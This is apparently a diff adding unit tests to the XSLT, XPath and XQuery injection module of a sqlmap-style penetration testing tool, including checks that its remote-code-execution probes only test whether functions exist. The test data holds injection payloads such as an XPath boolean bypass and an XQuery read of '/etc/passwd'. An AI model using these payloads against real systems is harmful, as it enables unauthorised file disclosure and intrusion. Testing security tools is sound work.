XsltPayloadTest(unittest.TestCase): + def test_element_payload_is_a_whole_instruction(self): + payload = _xslt._elementPayload("'a'") + self.assertTrue(payload.startswith("luther", "", None, "no results found"): + self.assertFalse(_xslt._isError(page), repr(page)) + + def test_error_regex_is_anchored_to_xslt_vocabulary(self): + """This regex also drives the GLOBAL heuristic hint, so a generic compiler/regex/SQL failure must + not suggest '--xslt' on a target that has nothing to do with XSLT.""" + for page in ("You have an error in your SQL syntax", "Traceback (most recent call last)", + "org.postgresql.util.PSQLException", "500 Internal Server Error", + "gcc: compilation error", "javac: compilation error", + "Invalid expression at line 4", "regex: Invalid expression"): + self.assertIsNone(re.search(XSLT_ERROR_REGEX, page), page) + + def test_error_regex_still_matches_every_real_engine(self): + for page in ("xsltParseStylesheet : problem", "lxml.etree.XSLTParseError: bad", + "XSLTProcessor::importStylesheet(): compilation error", + "System.Xml.Xsl.XslLoadException", "net.sf.saxon.trans.XPathException: XTDE1260", + "javax.xml.transform.TransformerConfigurationException"): + self.assertIsNotNone(re.search(XSLT_ERROR_REGEX, page), page) + + def test_unquotable_paths_do_not_break_the_literal(self): + """XPath 1.0 has no escape character, so a path with both quote kinds needs concat().""" + self.assertEqual(_xslt._quote("/etc/passwd"), "'/etc/passwd'") + self.assertEqual(_xslt._quote("/tmp/o'brien"), '"/tmp/o\'brien"') + self.assertTrue(_xslt._quote("/tmp/bo\"th's").startswith("concat(")) + + def test_vendor_properties_are_xslt_defined(self): + self.assertIn("xsl:vendor", XSLT_VENDOR_PROPERTIES) + for prop in XSLT_VENDOR_PROPERTIES: + self.assertTrue(prop.startswith("xsl:"), prop) + + +class XsltRcePolicyTest(unittest.TestCase): + """The extension surfaces are reported, never invoked - the probes must only ASK whether a function + exists, never call it.""" + + def test_probes_only_test_availability(self): + for label, expression in XSLT_RCE_PROBES: + self.assertTrue(expression.startswith("string(function-available(") + or expression.startswith("string(element-available("), expression) + self.assertNotIn("Runtime.exec", expression) + self.assertNotIn("system(", expression) + + def test_labels_say_what_the_primitive_is(self): + joined = " ".join(label for label, _ in XSLT_RCE_PROBES).lower() + for expected in ("php", "exsl", "saxon", "java"): + self.assertIn(expected, joined) + + +class XQueryTierTest(unittest.TestCase): + def test_capability_probes_are_absent_from_xpath_1_0(self): + """Each probe calls a function XPath 1.0 does not define, which is what makes a positive answer a + demonstrated capability rather than an inference.""" + for probe in XQUERY_CAPABILITY_PROBES: + self.assertTrue(any(fn in probe for fn in ("string-join", "upper-case", "matches")), probe) + + def test_file_read_uses_unparsed_text(self): + self.assertIn("unparsed-text", XQUERY_FILE_READ) + self.assertEqual(XQUERY_FILE_READ % "'/etc/passwd'", "unparsed-text('/etc/passwd')") + + def test_file_charset_covers_tab_and_newline(self): + """The XML-tree charset excludes them; a file recovered with newlines replaced by '?' is useless.""" + self.assertIn(0x09, _xpath._FILE_ORDS) + self.assertIn(0x0a, _xpath._FILE_ORDS) + self.assertIn(ord('&'), _xpath._FILE_ORDS) + + def test_file_charset_literal_carries_no_transport_hazard(self): + """Built from codepoints because the charset contains ' " & and < - a bare '&' is an invalid + entity in an XQuery string literal AND splits a query-string parameter in two.""" + literal = _xpath._FILE_LITERAL + self.assertTrue(literal.startswith("codepoints-to-string((")) + for hazard in ("'", '"', "&", "<"): + self.assertNotIn(hazard, literal) + + def test_file_charset_literal_matches_the_ordinals(self): + codes = [int(_) for _ in re.search(r"\(\((.*)\)\)", _xpath._FILE_LITERAL).group(1).split(",")] + self.assertEqual(codes, _xpath._FILE_ORDS) + + def test_builders_accept_a_charset_override(self): + """The override is what keeps the file read from disturbing XML-tree extraction.""" + builder = _xpath._XPathPayloadBuilder("x", _xpath.Boundary("' or ", " and '1'='1", True)) + self.assertIn("ZZZ", builder.charPresent("t", 1, "ZZZ")) + self.assertIn("ZZZ", builder.charIndexAtLeast("t", 1, 2, "ZZZ")) + self.assertIn(_xpath._CS_LITERAL, builder.charPresent("t", 1)) + + +class SwitchWiringTest(unittest.TestCase): + def test_switch_is_registered_and_mutually_exclusive(self): + from lib.core.optiondict import optDict + self.assertEqual(optDict["Techniques"].get("xslt"), "boolean") + + self.assertIn('("--xslt", conf.xslt)', _source("lib", "core", "option.py")) + + def test_controller_dispatches_the_scan(self): + self.assertIn("from lib.techniques.xslt.inject import xsltScan", _source("lib", "controller", "controller.py")) + + +if __name__ == "__main__": + unittest.main()